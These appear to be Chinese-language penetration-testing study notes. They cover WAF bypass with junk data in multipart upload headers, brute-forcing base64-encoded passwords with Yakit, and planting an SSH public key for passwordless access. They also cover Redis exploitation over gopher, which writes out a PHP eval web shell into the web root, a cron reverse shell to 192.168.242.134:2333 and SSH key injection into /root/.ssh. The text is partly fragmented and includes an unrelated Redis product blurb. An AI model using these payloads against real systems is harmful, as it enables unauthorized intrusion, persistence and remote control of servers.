脏数据适用于所有漏洞绕过waf,但是前提条件垃圾信息必须放在危险信息前,是不能打断原有数据包的结构,不能影响后端对数据包的解析。
以DVWA靶场文件上传为例
新建php文件
上传文件被安全狗拦截
使用bp抓包查看
在数据包Content-Disposition字段中的form-data后添加分号,在分号后添加脏数据;如果不加分号添加脏数据可能会打乱原有数据包的结构。文件上传成功。
客户防护:base64编码,加密。
前端base64编码加密,后端base64编码解密
抓包抓到的是编码以后的数据包,进行账密爆破时,密码字典也需要进行编码才能进行爆破。
新建x.php文档
$a=base64_decode($_GET['passwd']);
if($a=="admin"){
echo "welcom";
}else{
echo "error";
}
?>
点击MITM
更改浏览器代理
使用yt代理访问x.php页面
在历史中右击数据包选择WEB FUZZER,
选择admin右键,插入模糊字典标签,选择user top10。
响应结果一致是因为后端做了base64解码,字典中内容是铭文的,被编码后后端不认识,要在使用的字典前添加base64编码。
{{base64({{x(user_top10)}})}},爆破出密码为admin
之后使用抓包查看数据包时,如果流量内容是base64编码的就使用yakit爆破。yakit中也有dnslog,在测试响应的时候可以使用yakit自带的dnslog进行测试。
Linux服务器一定开放ssh端口。
ssh采用非对称加密,存在公钥私钥
将自己的公钥写入受害者的ssh目录中的时候,登录受害者ssh就可以不使用密码。
以kali主机为失陷主机为例
首先开启ssh服务
ss -antpl
systemctl start ssh.service
ss -antpl
pwd #家目录的路径
登录kali主机的用户家目录下有.ssh目录,其中有已通过认证的ssh密钥,我们的公钥就可以写入.ssh目录中。
注意:在没有登陆过ssh的时候需要触发以下的登录才会出现.ssh目录。
ssh [email protected]
进入.ssh目录,看到里面的已通过认证的主机的公钥
在windows中安装Git,安装完成后Windows就可以使用ssh客户端。
写入公钥可以通过一句话木马或代码执行或redis写入公钥
找到用户目录,在目录中右击看到有一个Git Bash Here点击进入命令执行界面
ssh-keygen -t rsa
执行成功后出现.ssh目录
进入.ssh目录可以看到有两个文件,id_rsa.pub就是公钥。
查看公钥内容
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcFgp7y4ZigaHArZlRjLHJ+hhBbFf1Q3HeuLly5HoUoSaXUUF6V7/dT57XQqJgqAnnAjc3LOvm9CzGAokKYR51Tony46RrpxSG8PlGpQhGsiU0JI9VWuPXMzzPFaK/1gfsctGIaihNh3Fosx7VKcqLn5sBRl6+FjqfqUtcbYAjHNkAnvb5bGBsb/+9XpUAvk1t3aHjvAz9oiGSl6L4PRi7E2mcramR4QnkWd/63KzaI38rsgnYbzFSiDfN0VxsKmS0jvjw92sBL1N9WaMyouNQWHTkdZKNSgWpakUayLpIc+Gx4vepaCNh/WV+07mVh39L6FnOt7bkCVEmyLoWaMzVRc3x6prDoWFnuRwB2C+yRctwD4tX+6AZ0QODOYFyraP1MDYcaDFm1rPhvNwX0Xhq+jfiZshQDU4iq1veVDBjHcmpsJOQ8YoiCRfLgQ0c31oCCX+FH+bpcF65LQxPsIbISryjp4tZolgmtNFvsE/cLzz87gcIS7cUnOSirGu33ok= zs@DESKTOP-6DBQCEP
在.ssh目录中输入
vim authorized_keys
将公钥复制进去
在Windows中的Git命令行中输入
ssh [email protected]
高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。
简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。
分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。
持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。
kali换源
vim /etc/apt/sources.list
#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
#更新索引文件
apt-get update
#更新软件包
apt-get upgrade
#安装redis
apt-get install redis-server
#启动
/usr/bin/redis-server
支持发出GET、POST请求
gopher 协议可以在特定的端口上进行相关命令的执行
gopher://IP:port/_{TCP/IP data stream}
这条命令是用来连接到 Redis 数据库的命令行界面(CLI)。其中的"-h [ip]"参数用于指定要连接的 Redis 服务器的 IP 地址。通过运行这个命令,你可以在命令行中与 Redis 数据库进行交互,执行各种操作,如设置键值对、获取值、删除键等。
写shell
aaa
set 1 "$_POST[1]); ?>"
config set dir /var/www/html/
config set dbfilename shell.php
save
bbb
url编码
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A
反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n"
config set dir /etc
config set dbfilename crontab
save
redis写入ssh公钥
config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbC05xE4PBAEOdBbF4F6Eai//NjL6fAkWSyotaz7Xoc33QfbzxNXz/3iDvfQTD4PIjznc17+9C1TcjV4dyrYdaC0w2JxnsRmiECrfNlRVkkkx6l/jFV0WH5P7ziYATMtVRkuhCm3wbqG0q8w8UyW5FeqB2N17rHr+wxGctDmuPGNbObbvGSvGVe5S73Uw1WwI08n3oqTjoi2dSu/FuDwVyzCbQXqQfr/5832tchX2jYl+1KzDSCRENoacj8RiIxUOEwvzJRFeMQW5qlG6FWfdksKzXwSSJ2TmAOzcHPU4ymimH49SRpOihr5i2N/j9Ts7AdhFepFu7Jkpa/YlwvSu2nDprUaZC93wBOP9Typma56xyhb8ieOEU1QbOWr+tVcqc2ouUmwRO06tv2VqKERRRaGilgarhOOO7kigeVm7t9HUa+ncnP210WqeYwGbSck6nZmbYHVoGThLcavYy+t8Ue1MZPeQhzEqWPlJeHwrddsQY+a2F6XJ/UG6VUx2qUjE= xiu@xiu-PC"
save
quit